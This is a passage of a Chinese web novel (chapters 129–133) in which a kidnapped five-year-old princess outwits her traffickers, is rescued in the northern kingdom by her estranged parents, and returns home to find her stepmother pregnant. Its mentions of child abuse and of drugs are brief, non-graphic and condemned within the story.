小的才四五岁,最大的也不过十岁。 里面臭气熏天,小女孩们浑身脏污,不用看都知道发生了什么。 里面甚至还有几个眉清目秀的男孩儿。 他真的不敢想象,唐蕊是不是也会遭遇这一切。 司徒澈把一干恶人全都控制起来,连夜审问,用尽酷刑。 可始终都没有唐蕊的消息。 这些人都不知道三哥的下落! 半个多月过去,司徒澈都没怎么合眼。 府里几个女人也不好过。 没了唐蕊,整个璃王府又变得死气沉沉。 奴才们小心翼翼伺候着,说话都不敢大声。 秦芷嫣早就哭成了泪人,茶不思饭不想,一直待在唐蕊的翠微阁,拿着她亲手给唐蕊缝制的小老虎默默落泪。 顾若雪为此特意回了一趟娘家,找自己祖父要来侍卫,顺着水路去寻。 朱侧妃几天下来瘦了一圈,醒了哭,哭了醒,最爱的肘子都不啃了。 张庶妃自得知唐蕊被掳的消息后,就没回过府,一直在外面找人,甚至还联系了父亲的旧部帮忙。 李庶妃都不知道散出去多少银子了,最后更是拿了巨款,联系上暗楼之人,让他们帮忙寻人。 暗楼是出了名的杀手组织,只要给足银子,什么活都接。 李庶妃一下子甩给暗楼接头人二十多万两,请求他们务必找到唐蕊。 她不知道的是,暗楼不是别人的。 … 北狄东宫! 雍容华贵的女子正对镜描眉,她的脸上带着冷淡又疏离的笑意,眉宇间与唐蕊有些相似。 这时,冷若华突然快步入内。 女子从镜子里看到她,悠悠然放下黛笔:“你们都下去吧,让阿华伺候着便是。” “是!”宫婢们齐齐退了下去。 冷若华赶紧上前,压低声音道:“阿娆,暗楼接到一个任务,寻回昭华郡主!” 唐娆眉眼一利,猛的抬眸看着她:“蕊蕊不见了?” 冷若华点点头:“是,璃王府的李庶妃找的接头人,花了二十万两银子,说昭华郡主被贼人掳走了,至今生死未卜!” “废物!”唐娆猛的站起身来,精致的眉眼只余戾气:“男人都是废物,连司徒澈都不例外,一个孩子都照顾不好,他还能干点什么?不行,我要去找蕊蕊…” 女儿不见了,唐娆六神无主。 冷若华却拦住了她:“你现在是北狄太子妃,怎么走?蕊蕊自小聪慧,她不会有事的,我已经让暗楼的人去找了。” “再聪慧也才五岁,她能做什么?”唐娆还是忍不住担心。 她没跟唐蕊相处过,生下她就扔在了神医谷。 可她是娘亲啊,血脉相连的牵绊容不得她置身事外:“若华,让开!” “你冷静一些,我告诉你这些,只是希望你心中有数,不是让你方寸大乱的。”冷若华压低声音道:“最近北狄太子有些怀疑你了,你要是在这个节骨眼消失,一切都前功尽弃了。” 唐娆顿时陷入了两难的境地。 一边是女儿,一边是血海深仇! 她死死攥紧手指,指节泛白,良久才颤声开口:“让暗楼加派人手,不惜一切代价找蕊蕊。” 说到这,唐娆语气无比阴狠:“找到贼人,千刀万剐!” “我知道的,你放心!” 冷若华叹息一声,只能不停安抚她的情绪。 唐蕊不见了她也很着急,但…着急得不多。 她知道唐蕊有多聪明,如果不是场合不对,她都很想说一句,绑了唐蕊的贼人是有多想不开啊! … 不得不说,还是冷若华了解唐蕊。 距离边城不远的怀安县某个街道,穿着粗布衣服的小奶包咬了一口馒头后,突然一口吐掉,指着身边三个壮汉开始叭叭:“什么玩意啊?我都已经配合你们好好赶路了,你们要睡破庙,我忍了,你们不给我找奶奶,我也忍了,你们让我穿这么难看的衣服,我还是忍了,可你们怎么能给我吃杂粮馒头呢?这么硬的东西,我咬得动吗?你们就是想饿死我对不对?你们就是虐待我,对不对?” 第129章 北狄 三个壮汉三脸漆黑。 同样穿着麻布衣服的顾楠聿一把拉住了唐蕊,小声道:“你别说了,他们要发火了。” “那又怎么样?”唐蕊挥开顾楠聿,叉腰腰继续叭叭:“生气了还敢打我吗?打坏了我还卖得出去吗?就这样的馒头,给狗狗都不吃,你们拿给我吃?真当我脾气好是不是?” 话音刚落,一条野狗路过,还顺口叼走了她扔在地上的馒头。 三个壮汉看了看跑远的狗,又默默低头看着小奶包。 你瞧! 狗吃了! 唐蕊噎了一下,又理直气壮道:“就算狗狗爱吃又怎么样?我是狗狗吗?我不爱吃,我要吃肉,吃肉,吃肉!” 三个壮汉:“…” 为首的三哥额头青筋跳跳,都气笑了:“你还好意思说?你一顿吃的东西比我们三个大老爷们加起来都多,老子出门带了五十两,整整五十两,全踏马给你买吃的了,现在老子没钱了,你不吃这个,那就等着挨饿吧!” 唐蕊闻言没有丝毫羞愧,反而一脸鄙夷:“才五十两,不是吧你,没钱还出来混涩会?你都不要脸的吗?都不觉得羞愧吗?” 三哥:“…”虽然听不懂混社会是什么意思,但他居然真的诡异的感觉到了一丢丢羞愧。 唐蕊见他黑着脸不说话,又把矛头对准他两个小弟了:“喂,跟着这样的大佬混,你们兜里估计比脸都干净吧?要不要跟我混啊?我保证,就一年,保证让你们买大房子,娶媳妇生孩子!” 两个小弟这一路过来,早就被唐蕊忽悠瘸了。 一听她这话,居然还真的开始心动起来。 三哥气得险些吐血,瞪着两个手下:“你们还真信?咱们是干嘛的?她是什么人?你觉得她真会给你俩钱买房子娶媳妇?” 两个小弟一个激灵回过神来,两脸一肃,立场坚定:“你别说了,我们不会信的!” “管你们信不信哦,我要吃肉,吃肉,吃肉!”唐蕊是真的饿急眼了,干脆往地上一坐,哇哇大哭起来:“有人欺负自己的亲生儿女哇呜呜呜…不给我和哥哥吃肉,还让我们干活,大家都来看看啊!看看我哥哥,都二十岁的人了,才这么高,都给饿变形了哇呜呜呜…” 饿变形了的顾楠聿:“…” 默默捂脸,觉得有点丢人。 他也是想不通! 为什么他小时候被人贩子拐走,就要遭那么多罪? 反观唐蕊,明明也是被拐儿童,却过得这么滋润,三个人拐子都被她忽悠瘸了。 就…踏马的邪门! 顾楠聿木着一张脸,沉默就像一把钝刀! 三哥眼见着周围百姓围了过来,赶紧抱起唐蕊,在她耳边咬牙切齿低声道:“小姑奶奶别哭了,我买,我买,我立刻带你去买肉吃!” 唐蕊立马止住哭声,脸上还挂着泪珠呢:“这还差不多。” 三哥太阳穴突突直跳,两个小弟一听他这话都快哭了:“哥,咱们哪儿还有钱?” 怕唐蕊又哭,三哥虎着脸道:“没钱就把身上值钱的东西拿去当铺当了啊,还要老子教你们?” “…”两个小弟很肉疼,又不敢不做。 毕竟唐蕊哭起来是真的超恐怖的,就感觉耳边多了五百只鸭子同时叫唤。 一点都不像没吃饱的人,中气十足。 两个小弟赶紧跑去当铺,差点连自己的亵裤都扒了,才当了一百文钱。 结果钱还没捂热,唐蕊就盯上了路边的馄饨摊,嚷嚷着要吃馄饨。 好吧! 吃就吃! 十碗馄饨,五十文,一百文直接少了一半。 顾楠聿有幸分到一碗,另外九碗全都进了唐蕊肚子。 三哥和两个小弟看着唐蕊吃得香喷喷,狂咽口水,突然感觉自己很可悲! 他们三个简直是史上最惨人拐子,没有之一。 风餐露宿,披星戴月,钱也没了,还要挨饿,就为了伺候这么个小姑奶奶! 他们哪里是人拐子,分明是这小姑奶奶的奴才! 要不是这地方距离北狄不远了,他们真的想放弃了。 九碗馄饨下肚,唐蕊不吵了,也不闹了,大爷似的擦了擦嘴,双手一摊:“好了,抱我上车,继续赶路!” 三哥黑着脸,让一个小弟把她抱上了马车,并告诉另一个小弟:“加快速度,十天之内必须赶到北狄!” 他怕再晚几天,就要喝西北风了。 小弟也很懂事,狂甩鞭子,再也不去想自己心爱的马会不会累死了。 比起累死的马,唐蕊更恐怖,得赶紧拿钱走人。 … 十二天过去,一行人终于到达目的地。 唐蕊蹲在马车里,好奇的透过车板缝隙往外看。 外面大雪纷飞,绿植很少,不像大夏那么富饶,气温也很低。 北狄人的服饰和大夏人也不一样,和现代历史上的鲜卑族有点像,只不过大多男人女人都扎着满头辫子。 街上北狄人不多,一路过来,能看到零星几个北狄人坐在街道两边,脸颊深陷,双目无神,看起来很没精神。 这一看就是抽了大烟的样子… 唐蕊:“…”便宜娘凭一己之力,硬生生把这个国度变成了毒窝么? 有亿点可怕啊! 顾楠聿这时却凑了过来,递给她一个草编织的蚂蚱:“我只会这个,生辰快乐!” 唐蕊闻言一愣,这才反应过来:“对哦,今天好像是我生日。大夏是不是要过年啦?” 古代都算旧历,她是十二月初十生的,还有二十天就是正月初一了! “嗯!”顾楠聿脱下自己的绒毛帽戴·在她头上,眼底带着一丝愧疚:“昭华,回去后我就开始学武,以后一定会好好保护你,再也不让你遇到这种事。” “…”小屁孩突然这么认真做啥? 唐蕊看了看车门,凑到他耳边小声道:“我不是跟你说了,我娘在这么?你放心,不会有事的。” 顾楠聿苦涩一笑:“可这三个人拐子是要把我们送进北狄皇宫啊,你娘也是一介弱女子,怎么救我们?” 唐蕊:“…”第一次有人用弱女子这三个字形容便宜娘。 此时唐蕊真想扯着他耳朵,让他好好看看外面那些磕了逍遥丸的北狄人。 第130章 爹爹,她是娘亲呀!你这算家暴么? 这些都是她那便宜娘的杰作! 是不是很柔弱? 不过一想还是算了。 娘的身份越少人知道越好! 她只告诉顾楠聿老娘在北狄,可没说过老娘现在在北狄的哪里,又是什么身份。 唐蕊拍了拍他的肩:“安啦安啦,我什么时候骗过你,我娘肯定能救我们。” “好…”就算救不了,他也会在入宫之前想办法让唐蕊离开。 不然入了北狄皇宫,就真的跑不掉了。 三哥几人早就没钱了,根本住不起客栈,只能找了个破庙停下。 现在新的问题又来了。 三个人都不认识北狄皇宫的人,要怎么把唐蕊交易出去。 他们不知道的是,司徒澈也好,暗楼也罢,这段时间一直都没放弃寻找唐蕊。 唐蕊经过这么多地方,没事又嚷嚷着要吃的,总会有人注意到她。 司徒澈已经收到消息,正顺着线索往北狄来了。 暗楼大本营就在北狄,几乎在唐蕊入城没多久,他们就确定了唐蕊的行踪,把消息传给了宫里的唐娆。 深夜! 三哥照例迷晕了顾楠聿,把唐蕊五花大绑,留下一个小弟看守,准备入睡。 也是因为他如此谨慎,顾楠聿才一直都没找到逃跑的机会。 可今天不一样了。 他刚睡下没一会儿,一群黑衣人如鬼魅般涌入破庙。 三哥三人哪里是这些专业杀手的对手,三下五除二,一群黑衣人就把三哥几人控制住了。 “好汉,好汉,有话好说啊,不要杀我!”刀抵在三哥脖子上,三哥知道怕了。 黑衣人没有吱声。 这时,堵在破庙门口黑衣人们散开,一个披着黑色斗篷的娇小身影迈步而入,女人低沉的声音冰冷刺骨:“带回暗楼,凌迟!” “是!”黑衣人第一时间塞住三哥几人的嘴,不顾他们的惊恐的眼神,把他们带走了。 等他们离开,娇小的身影才拿掉斗篷,露出那张精致妖娆的脸。 看到这人,唐蕊呆了片刻,神色一喜:“娘亲!” “蕊蕊!”唐娆快步上前,拿出匕首割开绳子,仔细的打量着小小的人:“有没有受伤?他们有没有欺负你?” “木有哦,我很厉害,他们才欺负不了我!” 也许是血浓于水,也许是心里委屈,唐蕊抱住唐娆,忍不住泪眼汪汪:“就是很想娘亲,特别特别想哦。” “娘亲也想你,特别特别想!”唐娆此时都空去想,唐蕊怎么会认得她,明明她生下唐蕊后就离开了。 跟来的冷若华倒是狐疑了一瞬,不过很快就反应过来,神医谷里有唐娆的画像,唐蕊应该是见过唐娆的画像,所以认得唐娆。 “好了,这里不是说话的地方,阿娆,咱们先离开这里。”冷若华开口道。 唐娆点点头,抱起唐蕊就要离开。 唐蕊此时却指着顾楠聿:“还有他,娘亲,他是我的小伙伴,带着他一起哦!” 唐娆皱眉:“他是谁?” “呃…”唐蕊噎了一下,讪讪一笑:“他是皇爷爷赐给我的未婚夫,叫顾楠聿。” “胡闹!”唐娆当即看顾楠聿不顺眼了:“你可是我南蛮皇室之后,未来是要做女皇的人,你的夫婿不会只有一个,正夫人选娘亲得亲自过目才行!” 唐蕊:“…”虽然你说的生活我很向往,但国都没了,现在说这些会不会太早了哦。 冷若华无奈道:“阿娆,你的时间不多,这些话以后再说吧!” “知道了。”唐娆抱起唐蕊,嫌弃的扫了顾楠聿一眼:“也带上他!” 冷若华叹息一声,挥了挥手,让手下一个黑衣人扛起顾楠聿。 一行人正出了破庙,一支利箭爆射而来,直指唐娆脑门。 唐娆眸色一凝,反手放下唐蕊,拔出腰间软剑挥开利箭,不退反进冲了上去。 来人也是一身黑衣,蒙着脸,三尺青峰在月色下寒芒硕硕,身形犹如鬼魅。 唐娆与黑衣人瞬间交手十余招,剑光如电。 两人交手迅疾如风,招式凌厉狠辣,每一击皆指向致命之处。 唐娆冷眸闪烁,软剑如灵蛇吐信,忽而缠住对方长剑,猛然发力一绞,金属摩擦声刺耳惊心。 只听“铮”的一声,黑衣人长剑崩出豁口,唐娆借势欺身,剑尖直逼其咽喉。 黑衣人微微侧头错开软剑,同一时间舍了长剑,拔出匕首抵住她的咽喉:“把孩子给我,不然…” “呵…”唐娆冷冷一笑,同时视线下移:“阁下以为,自己赢了?” 来人顺着她的视线低头一看,这才发现对方也舍了软剑,正拿着一把小巧的匕首抵住了他的胸口。 场面一时间安静下来。 唐蕊听到来人的声音愣了几秒,不确定的喊了一声:“爹爹?” 唐娆闻言一愣:“你是司徒澈?” “是!”司徒澈扯下脸上的黑巾。 一段时间不见,他憔悴了许多,下巴还长出了很多胡茬子。 他根本就没认出唐娆,也可以说是根本就没看唐娆,从突袭到现在,眼神一直在唐蕊身上。 见对方认得自己,还在跟唐娆讲条件:“阁下,唐蕊是我女儿,只要阁下归还,我定会重金酬谢阁下。” 唐娆神色复杂。 唐蕊捂脸:“爹爹,她是娘亲呀!你这算家暴么?” 司徒澈:“??” 司徒澈:“!!” 司徒澈这才趁着月色仔细打量着面前的女人,与记忆中那可恶的女人身影重合:“你…” 这就尴尬了不是? 唐娆冷哼一声,收起匕首:“孤身闯入北狄,璃王真是好本事,好能耐!” “人多不方便行事!”司徒澈有点尴尬,心情也很复杂:“我顺着线索一路寻来,只顾着担心蕊蕊去了,没发现是你…” 唐娆扬唇一笑,突然凑到他面前,纤纤玉指挑起他的下巴,眼神轻佻:“璃王怎么脸红了?难道璃王还在回味当年巫山之趣,一直念念不忘?” 司徒澈猛的后退几大步,恼羞成怒:“孩子还在这里,你注意一下言行!” “哟哟哟,现在让我注意言行了?不嚷嚷着要杀我了?” “那天晚上你不是说要把我碎尸万段吗?” “不是一直骂我荡妇吗?” “明明自己也爽得直哼哼呢,装什么正经男人啊!” 唐娆和唐蕊不愧是亲生的,小嘴直叭叭,往前一步质问一句,手指一直戳他胸口。 第131章 爹爹,你是不是喜欢上娘亲了? 司徒澈一张脸爆红,咬牙切齿:“死女人,你给我闭嘴!” “闭不上,除非…”唐娆狡黠一笑,突然拉住他衣襟,把人扯到面前,吻住了他的唇。 司徒澈眼睛猛的瞪大了。 冷若华也第一时间转过身去,还顺手捂住了唐蕊的眼睛,并招呼手底下的黑衣人们:“都转过去,看什么看?” 黑衣人们:“…”怎么就不让看了?这不是楼主正夫么?不让看看,以后咋认得出? 司徒澈回过神来,一把推开唐娆,脸都红成了猴屁股,颤抖的指着她,活像那被啥的良家妇女:“死女人,你还要不要脸?这么多人,还有孩子在,你还…还…” 唐娆撇撇嘴:“睡都睡过了,孩子也这么大了,这么多年不见,亲一下怎么了?” 司徒澈:“……”这踏马是亲不亲的问题吗? 有人,有人啊,你是看不到吗? 就算要亲,就…咳咳…不能私底下再亲吗? 冷若华转过身来,神色无奈:“璃王,你误会了,阿娆刚刚只是取回自己的金蚕蛊,并不是轻薄你。” 司徒澈闻言愣了愣:“金蚕蛊,没了?为何本王没感觉?” 冷若华嗤笑道:“你刚刚注意力都没在这上面吧!” 司徒澈被说中了心事,别扭的移开视线:“本王才没有…” 就算有也不承认! 这时,一个黑衣人跑入院中,单膝朝唐娆跪下:“主子,时间不早了。” “知道了!”唐娆脸上的笑意淡了下来,来到冷若华面前,接过唐蕊。 唐蕊巴巴的看着她:“娘亲,你要走了么?” “嗯!”唐娆低下头,贴着唐蕊肉乎乎的小脸,满脸不舍:“娘亲照顾不了你…蕊蕊乖,等娘亲忙完,就去大夏接你,好不好?” “好!”唐蕊纠结了一会儿,还是好心建议:“娘亲,报仇有很多方式,可不可以不要用逍遥丸了?” “这些事你就别管了,娘亲自有分寸!”唐娆明显听不进去,抱着唐蕊来到司徒澈面前,脸上也没了刚刚的轻佻之色:“司徒澈,我不希望这样的事再发生,若你真的能力有限照顾不好蕊蕊,可以联系我,我会让神医谷的人来接她!” “用不着,本王跟你保证,不会再发生这样的事!” 司徒澈接过唐蕊,看着唐娆欲言又止。 唐娆好笑道:“怎么?舍不得我?” 司徒澈内心挣扎良久,还是说道:“其实你没必要亲力亲为,如果你想,本王可以再次挂帅出征北狄,活捉耶律崇任你处置。” 当年南蛮被灭,正是北狄太子耶律崇领兵。 没了他,唐娆应该会消气了吧? 然而… “司徒澈,我是南蛮皇太女,我有我的骄傲!” 唐娆神色傲然,直视着他的眼眸里,满是坚韧与倔强:“我要亲手将耶律崇踩在脚下,让他为南蛮的覆灭付出代价,这是我对南蛮子民的责任,也是我身为南蛮皇室之后的使命!” 司徒澈深深的看着眼前的女人,心里难掩震撼! 大夏女子柔美恭顺,像唐娆这款的,他还没真没见过。 这不是大夏女子那般的菟丝花,需要攀附男人而生。 她于黑夜中,依然光芒万丈,不输男儿。 “那你一定要小心,若有危险,一定要及时联系我。”司徒澈尊重她的想法。 但,要是北狄自己找死,那就不怪他了。 唐娆微微点头,目光落在唐蕊身上,抬手摸了摸她的脑瓜子:“蕊蕊,随你爹爹走吧!娘亲做完自己的事,就去接你,很快的。” 唐蕊巴巴的看着她:“娘亲,你真的不跟我们一起走么?爹爹都说了帮你了。” 唐娆摇摇头,转过身去背对着父女俩:“我意已决,走吧!” 冷若华也适时让人把顾楠聿递给司徒澈。 司徒澈对他就很随便了,拎过来夹在腋下就完事, “保重!”此地不宜久留,司徒澈最后看了她一眼,抱着唐蕊,带着顾楠聿,快速消失在夜色中。 唐娆伫立原地,寒风掀起她的衣角,猎猎作响。 她回头凝望着远方渐行渐远的黑影,眸光渐暗。 直到那身影彻底消失在茫茫夜色,她才缓缓垂下眼眸。 … 人在天上飞,魂在后面追! 唐蕊都不知道,自家老爹轻功这么好,一跃数十米,在别人的屋顶上跳来跳去,快得像一道黑色闪电。 夜风呼啸,夹杂着鹅毛大雪,她头发都顺着风雪歪到一边固定住了。 进城一个时辰,出城就只用了半个时辰不到。 守城的士兵们无精打采,席地而坐,还有一个士兵磕着逍遥丸,根本就没注意从空中一闪而逝的身影。 唐蕊看着那灯火通明的城门,仿佛看到了一个庞然大物垂垂老矣,离死不远了。 清风明月在城外几里处接应。 看到唐蕊,明月赶紧冲了上来,巴巴的看着她:“郡主,属下无能!” 一条赤红小蛇从他脖子里抬起头来,也巴巴的看着唐蕊,跟明月表情神同步。 主人,我强忍着没冬眠不说,还跟着跑了这么远,可算见到你了! “没事没事,我这不好好的么!”唐蕊笑眯眯道,并伸出小手:“赤赤,有没有乖哦?” “嘶嘶~”我当然乖咯,都没咬人玩! 赤赤顺着唐蕊的小手,重新盘在她手腕上,不动了。 唐蕊轻轻抚摸着赤赤的鳞片,眉眼弯弯。 “上车,回京!”司徒澈一脸嫌弃的把还在昏迷的顾楠聿扔给清风。 真是用扔的,清风差点都没接住,一头黑线把人塞进马车。 “郡主,我抱你上马车!”明月特别殷勤,都不用司徒澈招呼,从他怀里抢走唐蕊,小心翼翼放在车沿上。 司徒澈瞪了他一眼,也翻身上车。 清风驾驶着马车,扬长而去。 马车颠簸前行,车厢里也很暖和。 唐蕊靠在司徒澈肩头,却无睡意:“爹爹,我想娘。” 司徒澈沉默。 他也有点想那个死女人,明明刚分开没多久! 唐蕊没听到他说话,突然正色起来:“爹爹,你是不是喜欢上娘亲了?” 司徒澈一愣,随即轻哼一声:“胡说什么,本王在想别的事。” 唐蕊却不依不饶,仰起小脸紧盯他:“可你刚才心跳快了。” 第132章 他宁愿她永远骄傲地站在高处 “没有的事,你搞错了!”司徒澈才不承认呢! “…”才怪哦! 唐蕊比谁都清楚,唐娆这样的女子,对见惯了清一水大家闺秀的司徒澈而言,吸引力有多大的。 唐蕊抿唇道:“爹爹,你已经有母妃了,娘亲你也看到了,她不会给你做妾的。” “我知道…”司徒澈看向窗外,月色映着他完美的侧脸,长长的睫毛遮住了眸底暗潮涌动:“男子汉大丈夫,生而光明磊落,问心无愧。娶了女子,就要负责到底。我与你娘,只能说相遇的时候不对,有缘无分。本王会尊重她的想法和意愿,不会强求。” 人生就是这么无奈! 错过了就是错过了。 唐娆那样骄傲的女子不会给人做妾,而他这身份,注定不会只有一个女人。 但只有唐娆,只有唐娆,能在他平静多年的心湖泛起涟漪。 司徒澈不会把她看作妻。 毕竟夫为妻纲,在他接受的教育里,妻子也低夫君一等。 而唐娆那样的女子,是唯一能与他并肩而立的女人。 他宁愿她永远骄傲地站在高处,也不愿她屈就于任何人的阴影之下。 唐蕊闻言松了一口气:“那就好,我真怕你为了娘亲,把母妃给休了。” 毕竟,现代短剧里都是这么演的不是? “你一天天的想什么呢?”司徒澈弹了一下她的脑瓜崩,没好气道:“你母妃是我明媒正娶的妻,生同衾死同穴,我怎么可能休了她。倒是你,害本王担心这么久,看你以后还敢不敢乱跑。” 唐蕊撇撇嘴:“我也不想啊,谁让一天天的有人想害我。对了爹爹,查出来是谁了吗?” “查出来了!”司徒澈没说为了找唐蕊,自己有多辛苦,王府一群女子有多难过:“主使司徒嫱,刘姬找人动的手,那天绑走你的两伙刺客,第一批是司徒嫱找来的人,目的就是为了引开明月。第二批才是刘姬的人,司徒嫱现在正被父皇关着,还没决定要怎么处置,至于刘姬,已经死了。不仅如此,为了找你,本王还端了一个人拐子窝,救出了很多半大的孩子。只是…” 说到这里,司徒澈神色有些为难。 唐蕊还没来得及消化这么大的信息量,赶紧问道:“只是什么?” 司徒澈无奈道:“只是有些孩子的父母都不要他们了,本王只能暂时把她们安置在温泉庄子上。” 唐蕊一时间有些没听懂:“不要了?为什么会不要了?不是亲生父母吗?” “…”因为没了清白,还有些小女孩下体甚至… 唐蕊年纪还小,司徒澈不能把话说得那么直白,沉吟片刻才无奈一叹:“蕊蕊,这个世道对女子诸多约束,大人也都是些愚昧无知之辈。我知道那些被父母舍弃的孩子可怜,但我没办法改变这一切。” 唐蕊懵了片刻,后知后觉才反应过来,那些女孩遭遇了什么,整个人有些呆。 司徒澈:“…” 这是听懂了? 这孩子,是不是过于聪慧了? “爹爹…”唐蕊心里很不是滋味,抱着司徒澈的胳膊:“要是我也失了清白,你会不会也跟那些孩子的父母一样,不要我了?” “不会!”司徒澈想都没想便道:“那不是你的错,你是受害者,不惩治作恶之人,反倒怪你,这是什么道理?” “爹爹真好!”唐蕊真的觉得自己太幸运了,也很同情那些受害的小姑娘。 早知道三哥是这么可恶的人,她就该给他一点颜色瞧瞧。 ——小姑娘和小男娃不一样,养女娃得精细,用心。 司徒澈想起秦芷嫣说过的话,又想起那些被父母舍弃后想要自尽的女娃娃,神色一肃,又赶紧说道:“还有,就算哪天你也遭遇了这种事,只管找爹爹做主,不要怕,也不要瞒着爹爹。要记住,你不光是我司徒澈的女儿,还是唐娆的女儿,你未来三夫四侍都可以,这种事根本不算什么,听到了吗?” 本来心里很难受的唐蕊:“…” 老爹这是被她洗脑成功了? 唐蕊小心翼翼问道:“爹爹,我真三夫四侍了,你不会生气哦?” “我都说了,这是应该的,我为什么要生气!”比起唐蕊跟那些小姑娘一样去自尽,三夫四侍好像也不是很难接受了。 只要女儿好好活着,健康长寿,开心幸福,他什么都可以妥协。 什么以夫为天,夫为妻纲,都踏马见鬼去吧! 刚刚醒来,就听到这话的顾楠聿:“…” 呵… 什么见鬼的三夫四侍,想都没别想。 他的媳妇只能有他一个! 谁敢凑过来,就灭了谁! 就算是老丈人都不例外! 顾楠聿闭上眼睛继续装睡,心里已经开始琢磨起来了。 武功必须要学,还要好好学。 不仅仅是因为要保护唐蕊了,还要对抗想让唐蕊三夫四侍的老丈人。 … 有司徒澈坐镇,一路回去倒是平安。 唐蕊一路上吃吃玩玩,好不惬意。 顾楠聿就苦逼了,人嫌狗厌! 司徒澈看他鼻子不是鼻子,眼睛不是眼睛。 他也不是没想修复一下和未来老丈人的关系,可是司徒澈真特么难伺候。 给他倒茶吧,不是嫌茶冷了就是热了。 偶尔司徒澈考他文采,他答上来了吧,司徒澈会给他一个王之蔑视:“本王四岁就会了,你有什么可得意的。” 他要是沉默,司徒澈又会送他一记王之鄙夷:“呵…这都答不上来,你念书念到狗肚子里去了?” 以上云云…就算了… 最过分的是,有次住客栈的时候,因为客栈爆满房间不够,司徒澈都想让他去睡马厩。 还美其名曰,是在锻炼他的心智,谁让他跟弱鸡崽子一样。 顾楠聿:“…”他这辈子都没这么无语过。 … 一晃三月过去,抵达京城时,已经入春了。 入城一刻,司徒澈就迫不及待把顾楠聿踹了出去,让他赶紧滚! 顾楠聿哀怨的瞅着唐蕊,希望她帮着说句公道话。 唐蕊自然不会因为一个男人就去怪亲爹,只能无奈的瞪了亲爹一眼,拿了些银子给顾楠聿:“你雇辆马车先回去叭,咱们国学监再见!” 第133章 回家,秦芷嫣有喜 “见什么见,他都多大了,改天本王要进宫好好跟父皇说说,外臣之子年满十三就不能留在国学监。”司徒澈放下车帘,多看顾楠聿一眼就嫌烦:“清风,回府!” “是!”清风给了顾楠聿一个同情的眼神,驾车离开。 顾楠聿看着远去的马车,气笑了:“好你个璃王,要不是看在昭华份上,我一定要你好看!” 因为唐蕊的关系,他不能阴司徒澈,只能憋屈的咽下这口气。 回去后就找师傅,一定要学武,谁都别想阻止他! 殊不知,车厢里,唐蕊还在为他说话:“爹爹,你别对顾楠聿这么过分哇,我以后还不一定会娶他呢!” 司徒澈一听这话又不干了:“怎么就不能娶了?顾家那小子还不错,可以娶!” 唐蕊一脸无辜:“可你不是很讨厌他么?爹爹讨厌的人我也讨厌哦。” 司徒澈噎了一下,别扭的移开视线:“本王…也不是很讨厌他…” 就是有点看不惯! 只要一想到自己辛辛苦苦养的小白菜被猪拱了,就想宰了这头猪。 “总之,你和顾家那小子的婚事是父皇赐婚,不能更改!” “哦…” 可她不想娶,别人不知道,她可是知道的,顾楠聿好看是好看,但那心眼比针尖还小。 一惹到他,他能立刻化身阴暗扭曲爬行物。 真娶了顾楠聿,她以后还怎么三夫四侍哦? 看来,还得多给便宜爹洗洗脑,让他打消这个危险的想法。 一会儿的功夫,璃王府到了。 秦芷嫣一行女人早就收到了消息,在王府门口等着。 唐蕊刚下车,秦芷嫣就冲了过来,把她抱了个满怀,泪眼汪汪的:“你这孩子,急死母妃了,有没有伤者?有没有受罪啊?你父王来信说追去了北狄,北狄那么冷,可有冻着?” “回来就好,回来就好!”一个纤瘦清丽的女人也凑了过来,眼睛红红的:“蕊蕊,你瘦了。” 唐蕊看到她愣住了:“你…谁啊?” 女人一听这话都哭了:“你把我忘了啊?呜呜呜…” “别哭啦!”李庶妃没好气的白了她一眼,笑眯眯的看着唐蕊:“她是你朱庶母啊,这几个月,她担心你,都吃不下东西,这不…人都饿瘦了!” 唐蕊震惊脸:“朱庶母?” “是我啊!”朱侧妃咬着小手绢,委屈得直掉泪:“蕊蕊,你居然把我忘了。” “不是不是,就是你突然变漂亮了,我都没认出来哦!”唐蕊赶紧解释。 以前至少150十斤吧? 现在最多110,三个月瘦40? 卧槽,牛13啊! 朱侧妃听到她这么说,止住了哭声,又开始害羞了:“就你嘴甜。” 张庶妃挤开她,伸手按了按唐蕊脑瓜,仔细打量她的脸:“瘦了!” “瘦了就补回来,王爷,咱们进去再说吧!蕊蕊,庶母让膳房做了你最爱吃的卤猪蹄,就等你回来了。”顾若雪擦掉眼泪,难得情绪外露。 孩子不见了,她也很着急,这几个月来吃不好睡不好,人也瘦了一大圈。 老天保佑,孩子终于回家了。 明个她就去金山寺还愿。 司徒澈笑道:“好!进去再说吧!” … 唐蕊不在时,璃王府死气沉沉,每时每刻好像有一团看不见的乌云笼罩在王府上空。 她一回来,乌云散开,璃王府也像是重新焕发了生机一般。 司徒澈高兴,赏赐全府上下,整个璃王府喜气洋洋,奴才们走路带风。 大厨老王带着徒弟们干得热火朝天,锅铲都抡出了残影。 十几个菜,全都是唐蕊爱吃的。 也不知道是不是老天爷都跟着开心,席间秦芷嫣突然恶心反胃,一个没忍住,捂着嘴跑了出去。 众人皆惊! 司徒澈皱了皱眉,让人喊府医,并亲自上前扶住了她:“是不是着凉了?” “不碍事!”秦芷嫣忍住想吐的冲动,微微一笑:“这几个月我一直都这样,缓一会儿就好了。” 唐蕊眼睛眨巴眨巴,突然神来一句:“母妃,你肚子里是不是有小弟弟了?” “啊?”秦芷嫣愣住了。 一桌子女人也愣住了。 司徒澈一脸懵逼:“有、有了?” “妾身不知道…”秦芷嫣很茫然:“不过这几个月,妾身葵水确实没来,腰身也胖了一些,妾身还以为是积食…” 顾若雪无语:“姐姐,你都没找府医瞧瞧?” 秦芷嫣咬了咬唇,摇头:“我担心蕊蕊,哪里有这心思。” “我来我来!”唐蕊跳下小板凳跑到她面前,微微撩开她的袖口给她把脉。 “蕊蕊,怎么样?”司徒澈有点紧张。 唐蕊叹息一声放下她的手。 秦芷嫣见她这样,眼底划过一丝失望。 然而下一刻,唐蕊咧嘴一笑:“恭喜母妃,你有小弟弟啦。” 秦芷嫣呆了呆,下意识伸手捂住自己的小腹,满脸不可置信:“我…有了?” “对哦,都快四个月啦!”唐蕊说罢,看向司徒澈时,小脸瞬间垮了下来:“爹爹,母妃有孕这么久你都不知道,也太不称职了。” 司徒澈:“…”我哪里知道这些事,秦芷嫣自己不也不知道么。 “真的有了,真的有了…王爷…”秦芷嫣喜极而泣,抬眸看着司徒澈,激动得语无伦次:“妾身有你的孩子了,定是蕊蕊出事前一天有的,那晚你就歇在妾身院儿里…” “嗯!” 谁不希望自己子嗣昌盛。 司徒澈也挺高兴的,扶着她坐下:“你先坐。” “恭喜王妃姐姐,贺喜王妃姐姐。”一桌子的女人们也起身道喜。 一开始是有点小郁闷,不过转念一想,秦芷嫣有了孩子,就代表她们也不用服用避子汤了。 